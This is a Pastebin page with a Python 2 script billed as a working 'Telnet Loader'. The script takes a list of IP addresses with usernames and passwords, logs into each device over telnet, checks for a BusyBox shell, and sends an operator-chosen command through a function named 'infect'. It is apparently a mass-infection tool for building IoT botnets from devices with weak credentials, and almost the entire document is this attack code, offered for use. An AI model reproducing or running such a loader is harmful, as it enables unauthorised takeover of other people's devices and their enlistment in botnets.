Advertisement
LNO_LiGhT

Telnet Loader(ip:user:pass) v1.2 *WORKING* | By LiGhT

Apr 3rd, 2017
2,240
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.75 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Telnet loader ip:user:pass | By LiGhT
  3.  
  4. import sys, re, os, socket, time
  5. from multiprocessing import Process
  6.  
  7. if len(sys.argv) < 2:
  8.     sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")
  9.  
  10. cmd="" #command to send
  11. info = open(str(sys.argv[1]),'a+')
  12.  
  13. def readUntil(tn, string, timeout=8):
  14.     buf = ''
  15.     start_time = time.time()
  16.     while time.time() - start_time < timeout:
  17.         buf += tn.recv(1024)
  18.         time.sleep(0.01)
  19.         if string in buf: return buf
  20.     raise Exception('TIMEOUT!')
  21.  
  22.  
  23. def infect(ip,username,password):
  24.     ip = str(ip).rstrip("\n")
  25.     username = username.rstrip("\n")
  26.     password = password.rstrip("\n")
  27.     try:
  28.         tn = socket.socket()
  29.         tn.settimeout(10)
  30.         tn.connect((ip,23))
  31.     except Exception:
  32.         tn.close()
  33.     try:
  34.         hoho = ''
  35.         hoho += readUntil(tn, "ogin")
  36.         if "ogin" in hoho:
  37.             tn.send(username + "\n")
  38.             time.sleep(0.09)
  39.     except Exception:
  40.         tn.close()
  41.     try:
  42.         hoho = ''
  43.         hoho += readUntil(tn, "assword:")
  44.         if "assword" in hoho:
  45.             tn.send(password + "\n")
  46.             time.sleep(0.8)
  47.         else:
  48.             pass
  49.     except Exception:
  50.         tn.close()
  51.     try:
  52.         prompt = ''
  53.         prompt += tn.recv(40960)
  54.         if ">" in prompt and "ONT" not in prompt:
  55.             try:
  56.                 success = False
  57.                 tn.send("cat | sh" + "\n")
  58.                 time.sleep(0.1)
  59.                 timeout = 8
  60.                 data = ["BusyBox", "Built-in"]
  61.                 tn.send("sh" + "\n")
  62.                 time.sleep(0.01)
  63.                 tn.send("busybox" + "\r\n")
  64.                 buf = ''
  65.                 start_time = time.time()
  66.                 while time.time() - start_time < timeout:
  67.                     buf += tn.recv(40960)
  68.                     time.sleep(0.01)
  69.                     for info in data:
  70.                         if info in buf and "unrecognized" not in buf:
  71.                             success = True
  72.                             break
  73.             except:
  74.                 pass
  75.         elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  76.             try:
  77.                 success = False
  78.                 timeout = 8
  79.                 data = ["BusyBox", "Built-in"]
  80.                 tn.send("sh" + "\n")
  81.                 time.sleep(0.01)
  82.                 tn.send("shell" + "\n")
  83.                 time.sleep(0.01)
  84.                 tn.send("help" + "\n")
  85.                 time.sleep(0.01)
  86.                 tn.send("busybox" + "\r\n")
  87.                 buf = ''
  88.                 start_time = time.time()
  89.                 while time.time() - start_time < timeout:
  90.                     buf += tn.recv(40960)
  91.                     time.sleep(0.01)
  92.                     for info in data:
  93.                         if info in buf and "unrecognized" not in buf:
  94.                             success = True
  95.                             break
  96.             except:
  97.                 pass
  98.         else:
  99.             tn.close()
  100.         if success == True:
  101.             try:
  102.                 tn.send(cmd + "\n")
  103.                 print "\033[32m[\033[31m+\033[32m] \033[33mCommand Sent!\033[32m %s"%(ip)
  104.                 time.sleep(10)
  105.                 tn.close()
  106.             except:
  107.                 tn.close()
  108.         tn.close()
  109.     except Exception:
  110.         tn.close()
  111.  
  112. for x in info:
  113.     xinfo = x.split(":")
  114.     session = Process(target=infect, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),))
  115.     session.start()
  116.     ip=xinfo[0]
  117.     username=xinfo[1]
  118.     password=xinfo[2]
  119. session.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement